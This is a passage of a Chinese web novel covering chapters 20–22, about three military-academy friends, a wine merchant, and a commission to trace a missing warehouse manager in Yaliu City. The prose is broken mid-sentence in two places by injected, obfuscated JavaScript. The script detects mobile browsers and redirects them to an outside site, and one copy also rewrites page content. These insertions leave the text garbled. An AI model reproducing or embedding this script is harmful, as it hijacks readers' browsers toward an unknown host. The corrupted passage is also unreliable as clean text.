很难评。 心情复杂的池泷看了看远处,有几个人似乎要冲过来又被身边的人拦住,估计是瀛广鑫的小队成员。 不知道为什么突然对这些队员们感到抱歉了呢。 转身去追走远的好友们,池泷觉得,这个从未接触过但实力强劲的小队也没想象中那么高冷,毕竟他们队长眼睛瞪得溜圆时,还显得有点可爱。 去酿酒店的路上,池泷从尹霄那里听到了这件事的经过。 和她猜测得差不多,无非就是拉拢他们三人结成联盟,阻止三皇子队伍夺得第一。 想起瀛广鑫信誓旦旦的模样,似乎连决赛都不打算让其进入。 池泷觉得,没那么简单。 但军技大赛的比赛过程是绝对透明、全民直播的,从设备到裁判都分别来自三方,相互监督,那种见不得光的手脚,估计军部也很难做到。 想想这次比赛,有种准备拿学生当枪使的味道。 “好大的脸呢,第一名亲自前来招募,”尹霄耸了耸肩膀,嗤笑道:“可惜脑子不好使。” 面无表情的白簇面无表情地点了点头,池泷从中读出了她深深的赞同。 “找阿簇这件事已经够缺根筋了,”拐住白簇胳膊的尹霄嘲讽拉满,“眼神也废,队伍表公开三年了,队长是谁都不知道。” 此时白簇再次皱起眉头,满脸的不耐烦,看上去想再回去打一架。 “我不介意,没事,大赛时候实力说明一切。”池泷赶忙安慰道,也不是第一次这样了,毕竟白簇凶名在外,一般人都会觉得自己只是一个挂名队长,她理解。 而且当时这个队长也不是她想当的,是2:1,少数服从多数“推举”上来的。池泷心中无奈。 感谢好友的回护,说瀛广鑫哪哪不好只是为自己抱不平。一个能快速察言观色的第一小队队长怎么可能是这样? 刚才他看到白簇对自己的态度时,他的态度也极快地跟随转变了,看起来对自己友善,可实际上说话办事时,哪怕被白簇警告过,他的话题中心仍然围绕白簇,并未将自己和尹霄放在眼中。 这倒和他在军部长眼前不卑不亢的样子不太一样,池泷心中好笑,从他毫不掩饰的眼神中能看出来,这人也不坏,只是过于一根筋地慕强了。 已经到了酿酒店门口,池泷一手拉住白簇,一手拉开店门,无奈地看了尹霄一眼后说:“最重要的是,竟然没看出来我们队伍最重要的灵魂人物——尹霄阁下。” 高傲地扬起头颅,尹霄一脸傲娇地走进店里,池泷赶紧把白簇也扔了进去。 小祖宗挑拨离间的手段没啥长进,老白一点就着的被动是炉火纯青, 没一个省心的。 21.第20章 圆头圆脸圆肚皮,很适合形容这位酿酒店老板。 这位beta先生总是笑眯眯,看上去就像一尊弥勒佛,家中秘传的一手酿酒手艺,酿得出让眼高于顶的贵族也难以抵挡的醇厚酒香。 笑眯眯的阿瑞纳在看到尹霄时,就拿出一瓶“朝颜梦醒”开始打包,还在瓶颈那里系了一只粉红金彩的蝴蝶结,十分骚包。 “我这儿最近新进了一批亚硫城的红花酒,闻一口飘飘欲仙,喝一口烂柯梦醒。”手上的活儿一点没耽误,阿瑞纳笑呵呵地朝三人推荐。 别看他这样,年轻时候在黑街,也是混过帮派的。 还因为一些事差点被人砍去双手,朴人间救了他,又借了他一些钱,开了这家店。 后来,他的beta丈夫已经给他生了一个omega儿子,今年已经十几岁了。 三人和他认识也是朴人间中间搭的线。毕竟白簇和尹霄都是酒精爱好者,白簇甚至对酒精有种过度的狂热。而甭管是宿醉还是小酌,只要喝阿瑞纳的酒,醒后的不适都被降到了最低。 因为这种奇异的效果,他们曾经偷偷地把酒液拿去检测,但结果显示就是一瓶普通的酒。又去医院做了全方位体检,也被证实这种酒对身体和大脑的损伤也是近乎为零的。 不然怎么是秘传的手艺呢。 更重要的是,这些酒酿很贵,但借着朴人间的面子,在这里可以得到七折优惠。 分店开了早不知多少,赚得盆满钵满。但老板却总爱蜗居在军校旁的第一家店里。 “阿瑞纳,你什么时候也开始做经销了,这儿不是有名的酿酒店吗?”一脸好奇的尹霄开玩笑。 “这是厂区那边新研制出来的酒酿,原料很不一般哦。”胖乎乎的手随意抹了几下,便将包住酒瓶的牛皮纸折出好看的纹路。 “厂区?你是说亚硫城那边吗?”池泷很喜欢看这种利索又美丽的干活手艺,嘴中虽然接着话茬,却目不转睛地看那只胖手开始整理那只蝴蝶结。 “嘿嘿,是的,亚硫城几年前发现了一种红花嘛,花朵新鲜时特别适合酿酒,唯独不好储存,离开地里三个小时就会枯萎,这种原料很稀奇吧,”将边角摸得又尖又鼓,瞬间变成了一只高雅的骚包蝴蝶结。 “亚硫城又在月轨1线的最外面,靠近未知探测区,我只能派人去当地酿酒,再往回运啦,所以名声不响,成本还高,只能先从你们这群老顾客开始‘忽悠’咯。”给朴人间的酒终于打包装饰好,阿瑞纳把它递给池泷。 “和你的老朋友们一起开发的新项目?”尹霄从后面探过脑袋,好奇地在柜台搜寻红花酒的踪迹。 “是哟,本来这家店就是和老朋友们合伙搞的酿酒生产、销售一条龙,”说起这个,阿瑞纳眼角的笑纹更深了,“这次趁着退休前,搞个新项目出来,再给我家孩子攒攒本钱哦。” 看着尹霄探头探脑的样子,憨乐的商人再难掩奸诈,胖乎乎的脸肉将眼睛挤得更小了一些,“数量不多,特意给你们留了一瓶。” 感受到身后传来的视线似乎要将自己戳出洞来,池泷无奈地点了点头,后面的俩人开开心心掏钱买酒。 因为酒,两人曾经做过许多匪夷所思的事。尤其是白簇,酒后闯的祸更是数不胜数,因此两人一致同意将是否能喝酒的决定权交予很难喝醉的池泷。 2:1,池泷再次成为酒精监督员。 而刚好被乔城事件弄得心软软的池泷,决定满足一下俩人的渴望,以表达自己的感谢。但鉴于这瓶酒上的价格标签,比她的星卡存款还多一位,所以只能由二人自行承担酒钱了。 在阿瑞亚嘴快咧到耳根的笑容中,三人两酒很快到了朴人间这里——一间挂羊头卖狗肉、但其实也卖“羊肉”的机甲配件专卖店。 店内的玻璃柜台全是划痕,有的甚至都裂了纹。墙上展柜里的物品也都不分新旧好坏,乱七八糟地挂着。低下头,地上好几块黏唧唧的深色不明物,偶尔还会飞过几个小虫。 吊儿郎当的掌柜窝在包浆的皮质摇椅里,双脚交叉搭在柜台上面,哼着小曲儿,乱糟糟的头发随着身体摆动,一晃一晃 “朴哥。”池泷率先打招呼,将酒放在柜台上,转身去里间找几人常用的杯子。 出来时,朴人间已经将腿脚放下,转而站起,上半身歪在柜台上,看见池泷出来,响亮地“啧”了一声。 “还没找你麻烦呢,你还不乐意了,把这么危险的委托交给学生,如果不是我们,池姐差点回不来!”早已串好口供的尹霄,躲在专心看着红花酒的白簇身后吆喝。 “嘿你小子!”朴人间站直身体,刚准备爬过柜台,却看见抬头瞅他的白簇,又悻悻然将撑起的双手放了下去,重重“哼”了一声。 “配件三折一次。”白簇朝朴人间那边抬了抬头。 “倒也不用……”池泷出声阻止好友为了自己讹人。 毕竟朴人间并没做错什么,骗人的明明是自己。 “一直三折,”横竖乱长的眉毛挑起,朴人间不耐烦地朝池泷挥手,“到你们得到军技大赛冠军为止。” “!”这就是池泷脸上的表情。 她买不起那种名牌配件,一直在朴人间这里拿平替配件改造机甲。这个地方看着破烂,但配件的质量却从来很好。 据朴人间自己说,因为房租 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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很少喝醉的池泷此刻也有些晕乎,她想起擎叔的钱和擎晴的书,想到白簇和尹霄的处境与不安,想着自己从小立下的梦想,还有墨绿色的眼眸和严肃的军部长,一切的一切,好像只需要一个前三就能解决。 如果是冠军,那她用于交换的筹码或许就更多了些。 如果获得冠军,那些需要被公布的事情肯定会更容易被军部长和公众相信。 如果获得冠军,就能和好友完全脱离控制、远走高飞。 如果获得冠军,“不入流”的职业选择,也不会受到任何改变或者阻拦,不会被人置喙。 如果获得冠军…… 彻底陷入黑暗之前,她耳边突然传来一声“池泷”,泠泠清泉般熟悉的声音,好像一种错觉。 22.第21章 “我们实力强劲、以一敌二不行吗?”白簇从身后紧紧抱住炸毛的尹霄,池泷挂上笑容,快速上前安抚一脸惊恐的工作人员。 “不好意思,这个大赛对我们太重要了,所以有点激动。”听到池泷的解释,这位黑发黑眸的beta工作人员点点头,表示理解。 不死心的池泷问:“所以必须要至少四个人吗?我们在学校成绩也……”想到这儿,池泷一顿,突然后悔就不应该为了低调故意控分,她勉强地笑道:“成绩也还可以,三人不行吗?” 工作人员抱歉地摇头,拿出大赛准则指着上面的条例说道:“今年已经放宽条件了,往年都必须五个人的。而且,”工作人员在显示屏上指指点点后,小队的成绩单显现了出来,她抿抿嘴,好心提醒,“看你们的成绩,就算有五人参加比赛……确定没问题吗?” 无奈地笑笑,池泷心中有苦难言。 没想到毕业时会参加军技大赛,以前为了低调毕业跑路,导致他们三个特意控制成绩在中下游徘徊,现在心中流的泪都是当年脑子进的水。 “那我们再看看,谢谢你哦。”冲工作人员微微鞠躬,再次表达了歉意,池泷拉上俩人准备离开。 “报名最晚截止到半个月后,”好心的工作人员继续提醒,而后同样黑发黑眸的beta又有些羞赧,“我顺带想问下,你头发和眼睛的颜色好逼真,买的什么牌子的染色剂啊?” “具体忘了,大牌,很贵,往大牌买总是没错的。”在工作人员遗憾的目光中,三人这才离开。 出了门,三人紧急商量对策。 “我很强。”酷脸猛A疑惑。 “跟实力没关系,主要是数量问题,这还是‘网开一面’了呢。”拍拍白簇的肩膀,池泷心中茫然,这从哪儿再找个尚未磨合过的队友啊。 “我觉得这是对少数群体的一种歧视。”摸着下巴的尹霄开始思考或许可以利用其他途径,比如掀起少数群体的舆论压制。 该说不愧是央星外交部长家的孩子吗,池泷敲了敲尹霄的头,“可能会引火烧身的。” 这种危险的想法还是敲走比较好。 最后三人叽叽咕咕,决定先在星网上发布一则招聘启示,招聘公告写得正儿八经、诚意十足,但他们也知道,成功率基本为零。因为一般情况下,不会有人放心把自己的后背和前途,交给三个从未磨合过的陌生人。 当然最差的情况他们也想到了,不行就委托朴人间,如果报名时间截止前还没找到愿意相信他们的队友,就直接重金聘请一个演员,不需要干什么,就充数。 虽然说出充数这两字时,池泷内心闪过难以忽视的别扭,但事急从权,总比没法比赛要好。 发消息给朴人间,对方表示没问题。同时他也询问池泷能不能在这半个月里接个委托,听起来挺急,却又表示就算完不成也没关系,佣金照给。 池泷先是犹豫了一下,可随即考虑到赛前已经把机甲交给朴人间维保,三折后估计也得支付一大笔资金,一时又有些意动。 但心中说不上来,有种空落落的感觉,不想动却又不想闲着。 而白簇和尹霄则一起表示了反对,认为她不如趁此机会多休息一下备赛。 她深知好友是担心乔城的事给她带来了阴影,可她自觉没事,打消好友的担心,想了想,池泷还是选择了接受,因噎废食总不是办法。 看她主意已定,两人没再劝阻,正好家中有事召回,需要回家一趟,两人表示顺带也可以去家族中找找有没有愿意入伙的人。 尹霄再三叮嘱,又详细咨询了朴人间委托的情况,朴人间表示这次委托一个人做也没问题,可两人还是表示等忙完家中的事,便去找池泷汇合。 感觉到肩膀被很大力地攥了攥,池泷忍不住用头顶了一下白簇的下巴,没错,白簇比池泷还高一个头。 于是,池泷开启了新学期的第一次委托。 坐上已经维护完成的月轨1线时,她在心里暗自祈祷,希望这次的委托一切顺利。 巧合的是,新委托正好位于亚硫城。 而委托的发布者,正是刚见面不久的阿瑞亚。 下车时池泷闻到一股熟悉的好闻味道,如梦似幻,好像和前两天喝的红花酒味道差不多。 果然月台的绿化带里种着一片红花。 池泷凑近,那种让人轻飘飘的味道愈发浓厚,这种植物长得和迎春花差不多,小巧的叶子,饱满可爱的五片花瓣,不同的是,它颜色丹红如血,花朵中央的花柱极长。 不知道是不是错觉,盯着看久了,总觉得它不同于迎春的可人精致,反而过分妖冶了。 而且可能是离得太近,闻久了池泷还隐隐觉得它应该好闻的香味里,混进了一种反胃的奇怪味道。 揉揉鼻子,池泷重新闻了一下,那种恶心的味道又不见了。 大概是自己凑近闻久后,香极必臭了。 亚硫城车站的人流量不小,虽然它地理位置偏僻又紧邻未探索区域,同时土地不肥、财物难产,本来应该很少有人会选择在这里定居,但便宜的营业成本、月轨交通的便利还是吸引不少人前来做生意。 尤其“雄鹰”在这里时常驻守、边境星警又是出了名的高素质,让这里的社会环境安全得很,进而带动了居民增长。 同时和落后原始的乔城不一样的是,因为临近未知区域,环境的不稳定性,使它经常会被发现各种新鲜的现象或者物质,虽然这些变化不一定都有利于人类定居,却很适合做研究。 拨通朴人间给的光脑号,池泷联系此次委托的亚硫城联络人,刚拨通对面就接了。 “你好,我是池泷,受阿瑞纳委托过来寻找丢失的红花酒。” “啊,你好你好,欢迎您,池女士,阿瑞亚跟我说过您今天一早就到了,我已经派飞艇过去了,您出门找一辆印有‘酿酒店’logo的飞艇就行。” “好的,谢谢。” “没事儿,哦对了,我叫李光,是酿酒店在亚硫城厂区的主要负责人,您在这边儿的衣食住行或者其他任何问题,都由我负责。” 池泷一边道谢,一边往外走。在车站门口,一眼就看到李光说的那辆飞艇。 毕竟印着logo又张贴着“欢迎池女士莅临”横幅、横幅上还挂满了各色装饰用毛球的飞艇就这么一辆。 假装没看到其他人好奇的目光,池泷木着脸跟早已等在飞艇外的alpha女性打招呼。 这位alpha女性一头利落的浅粉短发,身量不高,和林息一样,刚到池泷肩膀,看她眼角和嘴角的细纹,年纪应该比自己大不少。 “您就是池女士啊,快上车。”她打开存储仓,又看了看池泷周围,没发现什么行李,只有池泷身后的一个小背包。 “我一般轻装出行,行李很少。”池泷解释道。 “哦哦哦,那行,您快上来吧,”艇道打开,池泷坐到客舱,alpha女性则进入驾驶室,“我叫李青,是李经理的侄女,听说您这边是老板亲自委托的人,果然一表人才哈哈哈。” 客套地笑了一下,池泷说道:“姐,你直接叫我名字或者小池就行。” 从刚才起叔侄俩对自己都用的敬称,而自己年纪又小,实在感觉奇怪。 听见这话,李青一愣,随即说了自己的出生年月,结果却发现她比池泷还小一岁。 这下池泷不知道该说什么了,李青笑笑,丝毫不介意,解释:“我虽然比你小,但是早早结婚,孩子都四岁了。” 池泷忍不住惊讶,又听她继续说:“家里这两年发生了一些事,挺操心的,所以看上去就老了些。” 点了点头,池泷还是说了句不好意思,李青表示没关系,她也不是第一个这么觉得的人。 本来李青想把她直接送到宾馆休息,可池泷拒绝了,想先去厂区了解下情况。 “也行,毕竟抓人难度挺大的,急点儿是应该。”李青启动飞艇,还给池泷找补了一句。 眨眨眼,池泷淡淡地“嗯”了一声,接着转头开始欣赏窗外景色。 去往厂区的景色没什么特别之处。 进入工业区后,街上的人三两一组,大多数穿着各式各样的工服。 亚硫城大多数的产业还是工业,主要是制造业,尽管生产方式大都已经变得智能化,由厂区主脑统一调动、生产、分配,但有些企业依旧选择使用大量人工。 比如阿瑞纳的酿酒业。 用他的话说就是“亲手做出来的东西总带着一些机械不能模拟的魅力。 “你是李经理的侄女,那你和阿瑞亚熟吗?”池泷看了会窗外,好像有点无聊,于是转头随意唠嗑,“他在央星,离这里也不近,很难见面吧。” “还行吧,一年能见个一两次。”李青微微笑了一下,“我因为家中的事情较多,很少去参加叔叔他们的聚会,估计阿瑞亚叔叔对我印象也不是很深吧。” 池泷点点头,那老小子口风紧得很,她以前也只是知道他在亚硫城有两个老朋友,这次通过委托才知道他们的名字。 和除了乔城以外的其他地区一样,这里也有TS公司,就是擎晴给的求职手册里送优惠券的那家。 这家公司是一家著名的科技公司,和它的名字“technology source”一样,它也是星联科技进步的主力先头军。 十几年的发展历程,现今它的业务涵盖了包括工业科技、生物科技等在内的各种科技范围,研究人员和专利数不胜数。但大多都免费开放给公众,是十分良心的科技企业。 当然也有人猜测如果不是集团老板的慷慨,就是因为星联给的补助够多。 而与朴人间相关的那场灾祸中,使用的搜寻机器人,也恰好来自这家企业。 总而言之,算是瑕不掩瑜,大多数人对它的观感都是极好的,像擎晴,最大的愿望就是成为它生物部门的一名信息素研究员,可惜她的条件尚不能够到门槛。 “TS公司几年前刚来的,”正在开车的李青介绍,“多亏它,我们这里的工业水平都上了一个档次,好多厂家都更新了主脑,像我们企业,大多数机器人和监控这样的高科技,都用的它家。” “这也是比较老牌的企业了。”池泷随便应和了一句,李青接着说,“对啊,所以没想到还能出这次的事故,我们还挺震惊的。” 说起这个,就得提到池泷这次做的委托。 这次委托倒是也不复杂,亚硫城这边的库房主管在定期大盘的时候发现来自库存的红花酒少了几百瓶。 红花酒酿酒工艺比较复杂,价格昂贵,而这批酒又是央星贵族们提前预定、要在50天后的酒宴上使用的,因此厂区很快就报了警。 通过调取仓库每日抽盘的记录和厂区内部的监控,星警推测应该是有人在日常盘点后,趁机小批量外运酒水。 恰好在厂区里的监控从两个月前就开始局部维修,导致盲区正好连成一条完美的运酒线路。 或许是为了应付每日盘点,偷酒贼都会只运走酒瓶,把外包装完好无损地放在仓库货品最高、最里层。 尽管日常盘点由机器人负责、抽盘货物具备随机性,可仓库够大,货物够多,每日出入库都会导致货物位置发生变化,能否抽到这些箱子完全看命。 幸运的盗贼,并未被发现,每日抽盘的记录都并未显示异样。 一直到一周前的定期大盘,终于发现了空盒子,使得货物到达央星前就发现了货不对账,幸好厂区还有足够的赶制时间和生产能力。 从盗贼的行为来看,他十分清楚监控的盲区和仓库的管理,星警基本确定是仓管工人监守自盗。 很快锁定了一名叫吴天语的仓库区主管。 因为他一个月前就跟厂里请了假,星警前去他家中时,却发现屋中无人,只有几个红花酒的空酒瓶,星网账户里有几笔金额较大的汇款,同他交易的账户信息被隐藏,难以查到。 蹲守了几天,却没见他踪迹,估计是早已畏罪逃离。 但在星警对各处交通要道和他的主要社会关系了解排查后,却并没发现他外出的任何痕迹。 全城搜捕也一无所获后,星警怀疑他可能是逃到城外了。 亚硫城占地不大,但城墙外坏境复杂,戈壁黄土、高山山洞、雨林平原共存,可躲藏的地方太多,但总归他不可能一直都呆在外面不动。 因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788678|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此星警对他进行了全星联通缉,尤其加强了月轨及航天监控,可至今仍旧没有任何音讯。 这个人,能在TS的监控设施下逃走,机器人也没检验出错误,只能说,有够幸运。 打开星脑,池泷又看了眼通缉照,是一张肩膀以上的免冠照片,上面的人相貌并不出众,理着好收拾的板寸,分分角角都剪得一丝不苟,眉毛粗黑浓重,看起来有几分不好惹。 但又似乎因为拍照而有些紧张导致嘴角抿起,不算很大的眼睛里黑白分明,透露着满不在乎的淡然,凶狠因此被冲淡,看着只像个不爱说话的老实人。 本来证据确凿,事情应该到此为止,等待星警的回复。 可令人唏嘘的是,吴天语和李光就是阿瑞亚的那两位老朋友,三人青梅竹马,打小一起闯祸创业,交情深厚。 因此,阿瑞纳给池泷的委托却是“拿回放在吴天宇那里的一只放有三人照片的怀表,如果可能,请找到吴天宇清白无辜的证据,找到加钱。” 这看起来是在完全怀疑星警的办事水准,因此这次委托是极度保密的,只能交给信任的人,于是朴人间作保,一对一委托给了池泷。 明面上,她只是来寻找剩余的红花酒,据说酿酒店的老板十分愤怒,要求“活要见酒,死要见瓶”,而且确实酒瓶也是特制的,成本不小,因此特地找来外援,双管齐下,加快挽回损失。 军校生辅助星警或者军队做点事儿什么的,在星联是常事。毕竟后者事务繁多,人手不丰,同时也欢迎军校生来单位体验,万一毕业就选择这里了呢。 实在是忘不了临走前阿瑞纳哭着,但信誓旦旦地跟自己说“老吴绝对是无辜的,他和老李还有我那是最过命的交情,不可能做这样的事!” 对此,看着阿瑞纳哭肿后只剩一条缝的圆圆眼,池泷不做任何评价。 世事变迁、时势变迁,当初的人是否还一如当初,谁能说得准呢。 而且星警找到的,都是实打实的证据链。 虽然理性上说这事儿反转的可能性很小,但池泷还是答应会尽力试试看。 她理解阿瑞纳的心情,如果有人跟自己说尹霄他们做了这样的事,自己的第一反应也绝对是“不可能。” 就算损失确凿、事实确凿,阿瑞纳还是坚持老友无辜,池泷感动的同时也有了紧迫感,自己时间不多、推翻现有证据又不是什么简单的事,所以她坚持下车后就先去了解一下情况。 这件事也有奇怪的地方,池泷想,涉案金额虽然巨大,可倒也不至于发布全星联的通缉,而且星警怀疑人还在城外、并未发现出行痕迹、去了未知探索区只有死路一条,一个亚硫城通缉不就行了吗? 她又看了看驾驶舱的人,这个叫李青的alpha好像很聪明,这次的委托,应该除了阿瑞亚三人、朴人间和自己小队,没人知道,可李青却张嘴就说自己来抓人。 跟阿瑞亚不熟悉,难道是李光松口了?池泷挑挑眉,回忆起阿瑞亚信誓旦旦的小眼睛,她又觉得应该不会,而且既然松口了干嘛不全松,直接告诉李青自己来找人不就行了。 当然,一般人也会有这种怀疑,比如“星警办事不力因此偷偷找个人来调查”什么的,可边境星警的口碑却又是出奇的好。 想到这些,池泷不禁问道:“吴天语是个什么样的人?” “唉……”李青长长叹了口气,缓缓说道,“虽然这件事看上去好像是吴叔做的,但怎么说,我也……” 明显感觉艇速好像慢了些,李青将它调至自动驾驶,“池小姐,吴叔他是酿酒店的元老。当年为这个也拼过命,身体一直不好。” 她起身走到客舱的冰柜前,边打开门边说:“平日不爱说话,有时候别人叫他,他都不待看一眼。所以我叔就把他调到仓库跟那些机器人一起工作,说是工作,其实就是机器人每日盘库后检查一下是不是有记录、锁没锁门什么的。” 说着从冰柜里拿出一瓶水放在池泷身前,李青在池泷对面坐下。 向李青说了声谢谢,刚好口渴的池泷拿起来喝了一口,她心中有数,估计这就是个养老工作。 “他没有家人什么吗?” “如果有就好了,”李青摇摇头,又叹了口气,“其实也不是没有,有过,但是以前发生了一些事,反正现在都不在身边了。” “那兴趣爱好呢?” “没有,平日下了班就回家呆着,就逢年过节或者我叔叫他出来聚聚什么的才能请动,”说到这儿,李青眼睛弯了一下,随即看上去有点感慨,“这些但凡有一样儿,我叔也不必天天担心他哪天孤零零地就没了。” 那就奇怪了,池泷想,为人孤僻、也没什么兴趣,他的作案动机是什么。 “这话警察也问过,”李青接道,“但星警经过调查,发现吴叔有个隐秘的星行账号,里面不定期有一些收入,每月还有一笔大额支出,和工资不符。” 难道不可能是兼职吗?池泷刚想问,就听见李青说:“不是兼职,星警查过了。再说,吴叔赚那么多钱又给谁用。” “那支出去向呢?” “是我们这儿的医院,”李青看向地面,似乎陷入回忆,“我孩子就在里面住过,但星警调查时,医院说从未收到过,可星行那边确实有转账记录。” “什么意思?这笔钱难道被谁被在间拦截走了吗?”池泷感觉有点不可思议。 一个普通工人,一笔钱,拿医院做幌子,逃脱了星行的监控,凭空搞了转账记录,现在才被发现? “这就不知道了,多的星警也没说。”李青又站起来去旁边的柜子里拿出一条薄毯,将自己刚坐过的位置放倒。 她蹲下背对着池泷整理着什么,同时说道:“我知道池小姐这次是来抓人的,但是……但是无论怎样,吴叔他就不是这样的人,他一定是人被骗了。” 说完这话,池泷就看见李青伸手揉了揉眼睛,然后起身没再看自己一眼就往驾驶室走去,“很快就到了,池小姐,你坐了那么久车,先休息一下吧。” 驾驶室门关上,眼前的客椅已然被整理得像一张小床,上面还有一只不知道从哪里掏出来的长方形靠枕。 倒是个很细心体贴的人。 23.第22章 到达酿酒店的厂区,池泷被眼前的光景震撼到。 偌大的厂区,建筑鳞次栉比,飞行机器人和往来的工人,天上地下,络绎不绝。 李光早已在办公楼门口等候,池泷跟在李青后面,还没走到跟前,就看见一个浅桃粉锅盖头、略微肥胖的alpha男性,在看见自己的瞬间,立马走下楼梯朝着这边迎来。 他脸上笑意和煦,看起来保养得当,面白无痕。 直到手被抓住,感受到那双指节鼓起、皮肤发硬粗糙的手,池泷才确定这就是阿瑞纳口中“一同经历过那些苦日子的合伙人。” “舟车劳顿,辛苦了,欢迎欢迎,”手被拉着,池泷只好顺势跟着李光往里面走,“小青在路上照顾得还好吧?她还小,要是有考虑不到的地方你还见谅。等会儿你在这边吃个饭,就让她给你送回旅馆,好好休息。” “阿叔,我也不是第一次去接人了,你怎么还不放心?”见面以来,一直进退有度的李青此时笑意满满,开玩笑的地抱怨着,眼角细纹更加明显了。 “你啊……快去吃饭吧,食堂里特意交代给你留的,下午不是还要去接小息。”冲侄女摆摆手,李光示意她去忙,“池小姐这边我来招待就行。” “行,等走的时候叫我,我接完小息很快就回来了。”池泷向李青点头示意了一下,就继续被李光拉走了。 这俩人笑起来真像。池泷心中想道,只是如果提前不知道两人是叔侄关系的话,说李青比李光还要大也有人信。 “老瑞跟我说找了个认真负责的人来,这事儿全权交给你,他是放心的,”进到办公室,李光示意池泷在沙发上坐下,招了招手,“没想到你刚下车就过来。” 接到信号的家政机器人从肚子里取出一杯凉茶放在池泷跟前。 “也没想到你还这么年轻。”眼中笑意弯弯,李光看着池泷,就像在看一个喜爱的后辈。 被这种目光看得有点不自在,池泷端起茶水喝了一口,解释道:“这事儿复杂,早点开工总是没错的。” “嗯……这件事确实……星警一步步查过来,一样样的证据都指向老吴。”池泷看到李光拇指和食指开始搓揉,眼中笑意突然轻得看不见,“哼,我们压根儿不信他这小子偷酒卖,更别提那些钱了。” “重重监管下,账有实无、凭空消失的钱,确实蹊跷。”这点也是池泷一直想不通的地方。 “很多事,我也没让小青知道,毕竟她还年轻,”池泷抬头看向李光,他回望过来,表情严肃,“本来这件事查到老吴有嫌疑时,我们准备内部解决,终归我们是不信他能做出这种事的。” “但随即星警就发现了另外的资金来往,据说请了有名的技术人员。老吴这个隐秘账户收到的钱,来源不明,去向不明,他在中间都倒了个手。”李光叹了口气,“近两年都有陆陆续续的资金往来,合起来金额太大。” “同时在医院和星行留痕造假。”接下这句话的池泷一脸不可置信,“那得多大的本事,能瞒过他俩的主脑清查。” 还如此猖狂,留下痕迹。这句话池泷没说。 “对嘛!”李光一拍大腿,语气带着几分着急,“跟老吴认识三十多年,一个只知道喝酒睡觉看星视的老头子,哪有这么大本事嘛!” 接下来的剧情池泷可以想象出来,“于是星警一般会怀疑他的身份,如果没问题,那就会怀疑他可能被陷害或者是请了厉害的外援。” “没错,可是除了那个转账的光脑,他们什么也没找到。”失落地叹了口气,李光看上去有几分心痛,“甚至连人都没找到!翻遍了老吴的家里,去了他去过的所有地方,调查了一切过往和社会关系,什么也没找到,有些过去的事还弄得厂区人尽皆知。” 池泷思考:“留下这么大的犯罪证据就跑路?太奇怪了。” “对啊,连星警都说,一个罪犯,不可能留下对自己最不利的证据,两手空空地离开。”李光眉毛变成了轻微的倒“八”字,“那个光脑里除了两个账号的转账记录,什么也没有。家里的东西也几乎没少。” “确实反常,那星警大可以继续从资金来源和支出入手。不过,资金的事还没彻底调查清楚,为什么就这么大阵仗,弄得全星联通缉了呢?” 既然星警也觉得不合理,在证据不清晰的情况下,更不会这么兴师动众,池泷深深不解。 “问题就在这里,”李光说话前,回头看了看门口,然后靠近池泷,降低了音量,“那个技术人员的调查惊动了上面,老瑞和我托了好多人费劲打听,有人透露这笔钱往来好像跟‘飞燕’有关。” 原来如此。 飞燕一向神秘,好不容易这次抓到了一点点尾巴,难怪星警这么重视。 “明面上说是来源支出不明,实际上……”李光的头颅深深低下,看不清楚表情,“星警怀疑,老吴在帮飞燕做事。要我说,老吴是被飞燕陷害的还差不多。” “一个月几万的工资,吃住都破破烂烂,身边连个人都没有,帮飞燕做事图啥啊。”李光语气沉重又愤恨,浅桃色的发丝好像都暗淡下来,他把自己的光脑拿出来,调出跟吴天语的对话框,那里面只有李光发送的通讯信息,却不见回复。 “一天天就知道把自己关在家里,给他买了光脑也不太会用,十几年连句话都不会说。”抬起头,李光痛心疾首地扶额,“老倒霉蛋,一大把年纪又被人害。” “主要他是飞燕的线索,星警主要是因为这个才不肯放手吧。”池泷安慰道。 尽管听起来好像句句在理,可也没有确凿证据证明吴天语和飞燕无关。 池泷忍不住想,甚至,如果他们真的关系密切,恰好可以说通这件事。 毕竟飞燕应该有能力帮吴天语转移资金,且留下挑衅的痕迹。甚至在飞燕的支持下,他反常消失也没什么不可能的。 对面再次低头沉默不语,看起来好像忧心忡忡,池泷没敢说出自己的想法。只是这次要证明吴天语的清白,无疑是难上加难。 她干脆问道:“那个怀表是什么?长什么样子?” “怀表啊……”头再次抬起,靠在沙发上,李光微微坐直身子,轻搓起右手手指,然后说道,“当年我们三个结拜创业的时候,挣的第一笔钱,抽了三十给每人买了这块表。” 在怀中摸了摸,李光的手里多了一个近乎黑金的怀表,表头带着一根同色的链子。 他将表盖打开,露出一张照片,三个年轻人勾肩搭背地笑着,他们的脸上,尽管都七零八落地贴着胶布,但看起来没有任何烦恼,意气风发。 “破铜烂铁,时间久了就褪色了,还磨得发黑。”嘴上这样说,李光的眼里却流露着深深的怀念,他的大拇指轻抚抬起的表盖,随即抬头望向池泷,神情坚定而认真,“我们约定,只要遇到事儿,就留下这个表,它里面有录音功能,录下任何想说的,哪怕是绝交。” 他将表底朝向池泷,池泷看见原来怀表底部刻着一个“G”,坑坑洼洼,极不美观,应该是刻的人手法很不熟练导致的。 “但是如果表不见了,”李光慢慢深呼吸,但呼吸不稳,“就说明……” 微微一愣,池泷明白了他的未尽之言。 她终于知晓为什么阿瑞纳泪眼婆娑地拜托她找回怀表,其实就是在请求“活要见人,死要见尸”。 这个磨损严重的小小怀表是三人感情的最好见证,这一次说不定也是最后见证。 